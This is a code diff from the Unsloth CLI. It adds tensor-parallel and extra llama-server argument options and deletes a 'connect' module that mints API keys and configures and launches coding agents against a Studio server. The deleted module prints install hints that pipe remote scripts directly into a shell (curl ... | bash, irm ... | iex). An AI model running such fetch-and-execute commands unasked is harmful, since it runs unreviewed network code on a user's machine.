+            model_config,
+            hf_token = hf_token,
+            max_seq_length = max_seq_length,
+            tensor_parallel = tensor_parallel,
+            llama_extra_args = llama_extra_args,
+        )
 
     if fresh_backend:
         ensure_studio_backend_path()
@@ -447,18 +493,31 @@ class HttpChatBackend:
         # No redirects: this carries a bearer token (see urlopen_no_redirect).
         return urlopen_no_redirect(request, timeout = timeout)
 
-    def ensure_loaded(self, model: str, *, hf_token, max_seq_length, load_in_4bit) -> None:
+    def ensure_loaded(
+        self,
+        model: str,
+        *,
+        hf_token,
+        max_seq_length,
+        load_in_4bit,
+        tensor_parallel: bool = False,
+        llama_extra_args: Optional[List[str]] = None,
+    ) -> None:
         typer.echo(f"Loading {model} on the Studio server", err = True)
+        payload = {
+            "model_path": model,
+            "hf_token": hf_token,
+            "max_seq_length": max_seq_length,
+            "load_in_4bit": load_in_4bit,
+            "tensor_parallel": tensor_parallel,
+        }
+        if llama_extra_args:
+            payload["llama_extra_args"] = llama_extra_args
         try:
             self._request(
                 "POST",
                 "/api/inference/load",
-                {
-                    "model_path": model,
-                    "hf_token": hf_token,
-                    "max_seq_length": max_seq_length,
-                    "load_in_4bit": load_in_4bit,
-                },
+                payload,
             ).close()
         except Exception as exc:
             typer.echo(f"Model load failed: {exc}", err = True)
@@ -538,7 +597,15 @@ class HttpChatBackend:
         pass
 
 
-def connect_studio_server(model: str, *, hf_token, max_seq_length, load_in_4bit):
+def connect_studio_server(
+    model: str,
+    *,
+    hf_token,
+    max_seq_length,
+    load_in_4bit,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
+):
     """Backend on a running Studio server, or None (caller loads locally)."""
     base_url = find_studio_server()
     if not base_url:
@@ -576,6 +643,11 @@ def connect_studio_server(model: str, *, hf_token, max_seq_length, load_in_4bit)
         return _refuse("couldn't self-issue a Studio token (is Studio set up here?).")
     backend = HttpChatBackend(base_url, token)
     backend.ensure_loaded(
-        model, hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit
+        model,
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
     )
     return backend
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index c62916bc75..d3bfbbf96b 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-from typing import Optional
+from typing import List, Optional
 
 import typer
 from rich.console import Console
@@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool:
         if not adapter_cfg_path.exists():
             return True
 
-        with open(adapter_cfg_path) as f:
+        with open(adapter_cfg_path, encoding = "utf-8") as f:
             adapter_cfg = json.load(f)
 
         training_method = adapter_cfg.get("unsloth_training_method")
@@ -153,6 +153,22 @@ def chat(
     ),
     max_seq_length: int = typer.Option(4096, "--max-seq-length"),
     load_in_4bit: bool = typer.Option(True, "--load-in-4bit/--no-load-in-4bit"),
+    tensor_parallel: bool = typer.Option(
+        False,
+        "--tensor-parallel/--no-tensor-parallel",
+        help = (
+            "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
+            "of by layer. Ignored for non-GGUF models."
+        ),
+    ),
+    llama_extra_args: Optional[List[str]] = typer.Option(
+        None,
+        "--llama-extra-arg",
+        help = (
+            "Extra llama-server arg for GGUF models. Repeat for multiple "
+            "tokens, e.g. --llama-extra-arg=--top-k --llama-extra-arg 20."
+        ),
+    ),
     think: bool = typer.Option(
         False,
         "--think/--no-think",
@@ -190,7 +206,13 @@ def chat(
         err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
         raise typer.Exit(code = 1)
 
-    load_opts = dict(hf_token = hf_token, max_seq_length = max_seq_length, load_in_4bit = load_in_4bit)
+    load_opts = dict(
+        hf_token = hf_token,
+        max_seq_length = max_seq_length,
+        load_in_4bit = load_in_4bit,
+        tensor_parallel = tensor_parallel,
+        llama_extra_args = llama_extra_args,
+    )
 
     # Prefer a running Studio server: instant starts, model shared with the UI.
     chat_backend = None if no_server else connect_studio_server(model, **load_opts)
diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py
deleted file mode 100644
index 096a7925e5..0000000000
--- a/unsloth_cli/commands/connect.py
+++ /dev/null
@@ -1,777 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""`unsloth connect` — launch a coding agent against a running Studio server."""
-
-import json
-import os
-import re
-import shlex
-import shutil
-import signal
-import subprocess
-import urllib.error
-import urllib.request
-from pathlib import Path
-from typing import NoReturn, Optional
-
-import typer
-
-from unsloth_cli._inference import (
-    _USER_AGENT,
-    _studio_token,
-    ensure_studio_backend_path,
-    find_studio_server,
-    is_loopback_url,
-    urlopen_no_redirect,
-    verify_studio_identity,
-)
-
-connect_app = typer.Typer(
-    help = "Connect a coding agent to a running Studio server.",
-    no_args_is_help = True,
-    context_settings = {"help_option_names": ["-h", "--help"]},
-)
-
-_CODEX_PROFILE = "unsloth_api"
-_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
-_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
-_HERMES_PROVIDER = "unsloth"
-_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
-_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
-_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
-
-# Shared by every agent command; only the config/env/command differ.
-_MODEL_OPTION = typer.Option(
-    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
-)
-_KEY_OPTION = typer.Option(
-    None,
-    "--api-key",
-    envvar = "UNSLOTH_API_KEY",
-    help = (
-        "Studio API key. For a local Studio it is minted automatically and "
-        "remembered per server. For a remote server, pass one with --api-key "
-        "(or UNSLOTH_API_KEY); it is remembered for next time."
-    ),
-)
-_LAUNCH_OPTION = typer.Option(
-    True,
-    "--launch/--no-launch",
-    help = "--no-launch prints the env and command instead (remote shells, WSL).",
-)
-
-
-def _fail(message: str) -> NoReturn:
-    typer.echo(message, err = True)
-    raise typer.Exit(code = 1)
-
-
-def _http_error_detail(exc: urllib.error.HTTPError) -> str:
-    try:
-        body = json.loads(exc.read().decode())
-        return body.get("detail") or body["error"]["message"]
-    except Exception:
-        return str(exc)
-
-
-def _http_json(
-    method: str,
-    url: str,
-    token: str,
-    payload = None,
-    timeout = 30,
-    error = None,
-):
-    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
-    request = urllib.request.Request(
-        url,
-        data = None if payload is None else json.dumps(payload).encode(),
-        headers = {
-            "Authorization": f"Bearer {token}",
-            "Content-Type": "application/json",
-            "User-Agent": _USER_AGENT,
-        },
-        method = method,
-    )
-    try:
-        # No redirects: a 3xx would leak this bearer token to an unvetted base.
-        with urlopen_no_redirect(request, timeout = timeout) as response:
-            return json.loads(response.read().decode() or "{}")
-    except urllib.error.HTTPError as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {_http_error_detail(exc)}")
-    except (urllib.error.URLError, TimeoutError) as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
-
-
-def _require_studio() -> str:
-    base = find_studio_server()
-    if base is None:
-        expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
-        _fail(
-            f"No running Studio server found at {expected}. Start one with "
-            "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
-        )
-    return base
-
-
-def _key_cache_path() -> Path:
-    ensure_studio_backend_path()
-    from utils.paths import auth_root
-    return auth_root() / "agent_api_key.json"
-
-
-def _read_cache(cache: Path) -> dict:
-    try:
-        data = json.loads(cache.read_text(encoding = "utf-8"))
-    except Exception:
-        return {}
-    return data if isinstance(data, dict) else {}
-
-
-def _server_buckets(servers: dict, base: str) -> dict:
-    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
-    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
-    entry = servers.get(base) if isinstance(servers, dict) else None
-    if isinstance(entry, list):
-        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
-    if not isinstance(entry, dict):
-        return {"saved": [], "minted": []}
-
-    def _strs(name: str) -> list:
-        value = entry.get(name)
-        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
-
-    return {"saved": _strs("saved"), "minted": _strs("minted")}
-
-
-def _cached_keys(cache: Path, base: str, source: str) -> list:
-    # Keys are scoped per server. `source` splits user-supplied --api-key keys
-    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
-    # only after the identity check). Legacy unscoped caches are ignored.
-    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
-
-
-def _write_private_json(path: Path, data: dict) -> None:
-    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
-    # even briefly (existing files keep whatever perms the user set).
-    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
-    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
-    with os.fdopen(fd, "w") as handle:
-        handle.write(json.dumps(data, indent = 2) + "\n")
-
-
-def _read_json_object(path: Path) -> Optional[dict]:
-    # {} when missing, None when it can't be parsed as an object (so the caller
-    # leaves a user-managed file untouched rather than clobbering it).
-    if not path.exists():
-        return {}
-    try:
-        data = json.loads(path.read_text(encoding = "utf-8"))
-    except (ValueError, OSError):
-        return None
-    return data if isinstance(data, dict) else None
-
-
-def _subdict(parent: dict, key: str) -> dict:
-    child = parent.get(key)
-    if not isinstance(child, dict):
-        child = parent[key] = {}
-    return child
-
-
-def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
-    data = _read_cache(cache)
-    servers = data.get("servers")
-    if not isinstance(servers, dict):
-        servers = data["servers"] = {}
-    buckets = _server_buckets(servers, base)
-    other = "minted" if source == "saved" else "saved"
-    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
-    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
-    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
-    if servers.get(base) == new_entry:
-        return
-    servers[base] = new_entry
-    # Collapse legacy unscoped fields.
-    data.pop("keys", None)
-    data.pop("key", None)
-    try:
-        _write_private_json(cache, data)
-    except OSError:
-        pass  # worst case the next launch mints another key
-
-
-def _key_accepted(base: str, key: str) -> bool:
-    try:
-        _http_json("GET", f"{base}/v1/models", key)
-        return True
-    except Exception:
-        return False
-
-
-def _agent_api_key(base: str, explicit: Optional[str]) -> str:
-    cache = _key_cache_path()
-    if explicit:
-        _remember_key(cache, base, explicit, "saved")
-        return explicit
-
-    # Replay a key the user saved for *this exact* server first (scoped per base,
-    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
-    # secret the local handshake can't match). Skip ones the server rejects.
-    for key in _cached_keys(cache, base, "saved"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "saved")
-            return key
-
-    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
-    # trusts a base after only a health check, so both are limited to a loopback
-    # server we can cryptographically confirm is ours.
-    if not is_loopback_url(base):
-        _fail(
-            f"No saved API key for {base} and automatic minting only runs against "
-            "a local Studio. Create an API key in Studio → Settings → API and "
-            "pass it with --api-key (it is remembered per server), or set "
-            "UNSLOTH_API_KEY."
-        )
-    if not verify_studio_identity(base):
-        _fail(
-            f"Couldn't verify that {base} is your Studio (it may be running as a "
-            "different OS user, or another process took the port). Create an API "
-            "key in Studio → Settings → API and pass it with --api-key, or set "
-            "UNSLOTH_API_KEY."
-        )
-
-    # Identity verified: replay a previously auto-minted key, else mint a new one.
-    for key in _cached_keys(cache, base, "minted"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "minted")
-            return key
-
-    # Self-issue a JWT (signed with the local secret) and mint a key.
-    token = _studio_token()
-    if token is None:
-        _fail(
-            "Couldn't authenticate with the Studio server automatically. Create "
-            "an API key in Studio → Settings → API and pass it with --api-key, "
-            "or set UNSLOTH_API_KEY."
-        )
-    key = _http_json(
-        "POST",
-        f"{base}/api/auth/api-keys",
-        token,
-        {"name": "Coding agents (unsloth connect)"},
-        error = "Couldn't create an API key",
-    )["key"]
-    _remember_key(cache, base, key, "minted")
-    return key
-
-
-def _loaded_models(base: str, key: str) -> list:
-    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
-
-
-def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict:
-    models = _loaded_models(base, key)
-    match = next((m for m in models if m["id"] == requested), None)
-    if requested and match is None:
-        typer.echo(f"Loading {requested} on the Studio server (this can take a while)…")
-        loaded = _http_json(
-            "POST",
-            f"{base}/api/inference/load",
-            key,
-            {"model_path": requested},
-            timeout = 3600,
-            error = "Model load failed",
-        )
-        # Studio registers the model under a canonical id (resolved identifier,
-        # casing) that /v1/models echoes but which may differ from the path we
-        # passed; match on the id the load reports so we don't silently fall
-        # through to models[0] and connect to a different loaded model.
-        wanted = {requested}
-        if isinstance(loaded, dict):
-            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
-        models = _loaded_models(base, key)
-        match = next((m for m in models if m["id"] in wanted), None)
-    if match is not None:
-        return match
-    if requested:
-        # We asked Studio to load it and it didn't surface in /v1/models; don't
-        # silently hand back an unrelated loaded model.
-        _fail(
-            f"Studio didn't report '{requested}' as loaded. Double-check the model "
-            "id, or load it from the model dropdown in the UI."
-        )
-    if not models:
-        _fail(
-            "No model is loaded in Studio. Load one from the model dropdown in "
-            "the UI, or pass --model <hf-id-or-path> to load it from here."
-        )
-    return models[0]
-
-
-def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
-    # Codex always streams, and Studio only streams /v1/responses from llama-server.
-    try:
-        status = _http_json("GET", f"{base}/api/inference/status", key)
-    except urllib.error.HTTPError as exc:
-        if exc.code == 404:
-            return  # older server without the endpoint; don't block the launch
-        raise
-    if status.get("is_gguf"):
-        return
-    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
-    _fail(
-        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
-        f"the transformers backend. Try: unsloth connect codex --model {hint}"
-    )
-
-
-def claude_settings_path() -> Path:
-    return Path.home() / ".claude" / "settings.json"
-
-
-def ensure_claude_attribution_header() -> None:
-    # The header invalidates the llama.cpp KV cache (~90% slower) and Claude
-    # Code only honors this setting from settings.json, not the env var.
-    path = claude_settings_path()
-    settings = {}
-    if path.exists():
-        try:
-            settings = json.loads(path.read_text(encoding = "utf-8"))
-        except (ValueError, OSError):
-            settings = None
-        if not isinstance(settings, dict):
-            typer.echo(
-                f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-                'to "0" in its "env" section yourself, or local inference will be much slower.',
-                err = True,
-            )
-            return
-    env = settings.get("env")
-    if not isinstance(env, dict):
-        env = settings["env"] = {}
-    if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0":
-        return
-    env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0"
-    try:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8")
-    except OSError:
-        typer.echo(
-            f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-            'to "0" in its "env" section yourself, or local inference will be much slower.',
-            err = True,
-        )
-        return
-    typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).")
-
-
-_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
-
-
-def _claude_cache_flags() -> list:
-    # The flag moves per-machine context (cwd, env info, git status) out of
-    # the system prompt, where it changes every session and defeats llama.cpp
-    # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p`
-    # passed through ctx.args); interactive sessions accept and ignore it.
-    # Claude Code < 2.1.98 aborts on the unknown flag, so check the version
-    # first; no local binary means a --no-launch printout for another machine.
-    executable = shutil.which("claude")
-    if executable is None:
-        return [_DYNAMIC_SECTIONS_FLAG]
-    try:
-        result = subprocess.run(
-            [executable, "--version"], capture_output = True, text = True, timeout = 10
-        )
-        version = tuple(int(part) for part in result.stdout.split()[0].split("."))
-    except Exception:
-        return []
-    return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else []
-
-
-def codex_home() -> Path:
-    return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex")
-
-
-def _merge_codex_config(existing: str, base: str) -> str:
-    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
-    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
-        if chunks[0] and not chunks[0].endswith("\n"):
-            chunks[0] += "\n"
-        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
-    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
-    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
-    text = "".join(c for c in chunks if not c.startswith(stale))
-    if not text.endswith("\n"):
-        text += "\n"
-    if not text.endswith("\n\n"):
-        text += "\n"
-    return text + (
-        f"{_PROVIDER_HEADER}\n"
-        'name = "Unsloth Studio"\n'
-        f"base_url = {json.dumps(base + '/v1')}\n"
-        f'env_key = "{_CODEX_ENV_KEY}"\n'
-        'wire_api = "responses"\n'
-        "requires_openai_auth = false\n"
-    )
-
-
-def write_codex_config(base: str, model: dict) -> None:
-    home = codex_home()
-    home.mkdir(parents = True, exist_ok = True)
-
-    config = home / "config.toml"
-    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
-    merged = _merge_codex_config(existing, base)
-    if merged != existing:
-        config.write_text(merged, encoding = "utf-8")
-        typer.echo(f"Updated {config}")
-
-    # oss_provider here too: codex --oss picks the provider from it, and the
-    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
-    profile_text = (
-        f'oss_provider = "{_CODEX_PROFILE}"\n'
-        f'model_provider = "{_CODEX_PROFILE}"\n'
-        f"model = {json.dumps(model['id'])}\n"
-    )
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        profile_text += f"model_context_window = {int(window)}\n"
-    profile = home / f"{_CODEX_PROFILE}.config.toml"
-    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
-        profile.write_text(profile_text, encoding = "utf-8")
-        typer.echo(f"Updated {profile}")
-
-
-def _wsl_windows_executable(command: list) -> Optional[str]:
-    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
-        return None
-    executable = shutil.which(command[0])
-    if executable and executable.startswith("/mnt/"):
-        return executable
-    return None
-
-
-def _merge_wslenv(current: str, names: tuple) -> str:
-    entries = [entry for entry in current.split(":") if entry]
-    existing = {entry.split("/", 1)[0] for entry in entries}
-    entries.extend(name for name in names if name not in existing)
-    return ":".join(entries)
-
-
-def _print_env(
-    env: dict,
-    command: list,
-    unset_env: tuple = (),
-    wsl_env_bridge: tuple = (),
-) -> None:
-    if os.name == "nt":
-        for name in unset_env:
-            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
-        for name, value in env.items():
-            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
-            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
-            typer.echo(f'$env:{name} = "{escaped}"')
-        typer.echo(subprocess.list2cmdline(command))
-        return
-    for name in unset_env:
-        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
-    for name, value in env.items():
-        typer.echo(f"export {name}={shlex.quote(value)}")
-    if wsl_env_bridge:
-        typer.echo(
-            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
-        )
-    typer.echo(shlex.join(command))
-
-
-def _launch(
-    command: list,
-    env: dict,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> NoReturn:
-    executable = shutil.which(command[0])
-    if executable is None:
-        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    child_env = dict(os.environ)
-    if wsl_env_bridge:
-        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
-        for name in unset_env:
-            child_env[name] = ""
-    else:
-        for name in unset_env:
-            child_env.pop(name, None)
-    child_env.update(env)
-    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
-    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
-    try:
-        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
-    finally:
-        signal.signal(signal.SIGINT, previous)
-    # Negative returncode means killed by signal N; shells expect 128+N.
-    raise typer.Exit(code = code if code >= 0 else 128 - code)
-
-
-def _connect(api_key: Optional[str], model: Optional[str]) -> tuple:
-    base = _require_studio()
-    key = _agent_api_key(base, api_key)
-    return base, key, _resolve_model(base, key, model)
-
-
-def _run(
-    base: str,
-    entry: dict,
-    env: dict,
-    command: list,
-    *,
-    launch: bool,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> None:
-    typer.echo(f"Studio {base} · model {entry['id']}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    if not launch:
-        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
-        return
-    _launch(command, env, install_hint = install_hint, unset_env = unset_env)
-
-
-def openclaw_config_path() -> Path:
-    return Path.home() / ".openclaw" / "openclaw.json"
-
-
-def write_openclaw_config(base: str, key: str, model: dict) -> None:
-    path = openclaw_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
-    provider_model = {"id": model["id"], "name": model["id"]}
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        provider_model["contextWindow"] = int(window)
-    models = _subdict(config, "models")
-    models.setdefault("mode", "merge")
-    _subdict(models, "providers")["unsloth"] = {
-        "baseUrl": f"{base}/v1",
-        "apiKey": key,
-        "api": "openai-completions",
-        "models": [provider_model],
-    }
-    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
-    defaults = _subdict(_subdict(config, "agents"), "defaults")
-    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
-    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
-    # the websocket. The daemon must still be started separately (`openclaw gateway`).
-    gateway = _subdict(config, "gateway")
-    gateway.setdefault("mode", "local")
-    _subdict(gateway, "auth").setdefault("mode", "none")
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def opencode_config_path() -> Path:
-    config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config"
-    return Path(config_home) / "opencode" / "opencode.json"
-
-
-def write_opencode_config(base: str, key: str, model: dict) -> None:
-    path = opencode_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    config.setdefault("$schema", "https://opencode.ai/config.json")
-    _subdict(config, "provider")["unsloth"] = {
-        "npm": "@ai-sdk/openai-compatible",
-        "name": "Unsloth Studio",
-        "options": {"baseURL": f"{base}/v1", "apiKey": key},
-        "models": {model["id"]: {"name": model["id"]}},
-    }
-    # OpenCode selects a model by "<providerID>/<modelID>".
-    config["model"] = f"unsloth/{model['id']}"
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def hermes_config_path() -> Path:
-    return Path.home() / ".hermes" / "config.yaml"
-
-
-def write_hermes_config(base: str, model: dict) -> None:
-    import yaml
-
-    path = hermes_config_path()
-    config: dict = {}
-    if path.exists():
-        try:
-            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
-        except (yaml.YAMLError, OSError):
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-        if isinstance(loaded, dict):
-            config = loaded
-        elif loaded is not None:
-            # Non-empty, non-mapping YAML is a user-managed file; leave it.
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-    # Hermes only reads the key for a *named* custom provider (a bare
-    # `provider: custom` ignores it), so register it under providers.*.
-    _subdict(config, "model").update(
-        provider = f"custom:{_HERMES_PROVIDER}",
-        default = model["id"],
-        api_mode = "openai",
-    )
-    _subdict(config, "providers")[_HERMES_PROVIDER] = {
-        "base_url": f"{base}/v1",
-        "api_mode": "openai",
-        "key_env": _HERMES_ENV_KEY,
-    }
-    text = yaml.safe_dump(config, sort_keys = False)
-    if not path.exists() or path.read_text(encoding = "utf-8") != text:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(text, encoding = "utf-8")
-        typer.echo(f"Updated {path}")
-
-
-@connect_app.command("claude", context_settings = _PASSTHROUGH)
-def claude(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Claude Code at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    model_id = entry["id"]
-    ensure_claude_attribution_header()
-
-    env = {
-        "ANTHROPIC_BASE_URL": base,
-        "ANTHROPIC_AUTH_TOKEN": key,
-        "ANTHROPIC_MODEL": model_id,
-        # Update checks, beta features, and other background requests either
-        # stall against a local server or evict the conversation from
-        # llama-server's KV-cache slots, so turn off everything nonessential.
-        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
-        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
-    }
-    command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args]
-    install_hint = (
-        "irm https://claude.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://claude.ai/install.sh | bash"
-    )
-    _run(
-        base,
-        entry,
-        env,
-        command,
-        launch = launch,
-        install_hint = install_hint,
-        unset_env = _CLAUDE_ENV_UNSET,
-    )
-
-
-@connect_app.command("codex", context_settings = _PASSTHROUGH)
-def codex(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenAI Codex at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    _require_gguf_for_codex(base, key, entry["id"])
-    write_codex_config(base, entry)
-
-    env = {_CODEX_ENV_KEY: key}
-    command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args]
-    _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
-
-
-@connect_app.command("openclaw", context_settings = _PASSTHROUGH)
-def openclaw(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenClaw at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_openclaw_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["openclaw", *ctx.args]
-    install_hint = (
-        "iwr -useb https://openclaw.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://openclaw.ai/install.sh | bash"
-    )
-    _run(base, entry, {}, command, launch = launch, install_hint = install_hint)
-
-
-@connect_app.command("opencode", context_settings = _PASSTHROUGH)
-def opencode(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenCode at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_opencode_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["opencode", *ctx.args]
-    _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai")
-
-
-@connect_app.command("hermes", context_settings = _PASSTHROUGH)
-def hermes(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Hermes (Nous Research) at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_hermes_config(base, entry)
-
-    env = {_HERMES_ENV_KEY: key}
-    command = ["hermes", *ctx.args]
-    install_hint = (
-        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
-        "/main/scripts/install.sh | bash"
-    )
-    _run(base, entry, env, command, launch = launch, install_hint = install_hint)
diff --git a/unsloth_cli/commands/inference.py b/unsloth_cli/commands/inference.py
index 5dbc32c7d2..1401fa9e9e 100644
--- a/unsloth_cli/commands/inference.py
+++ b/unsloth_cli/commands/inference.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-from typing import Optional
+from typing import List, Optional
 
 import typer
 
@@ -31,6 +31,22 @@ def inference(
     ),
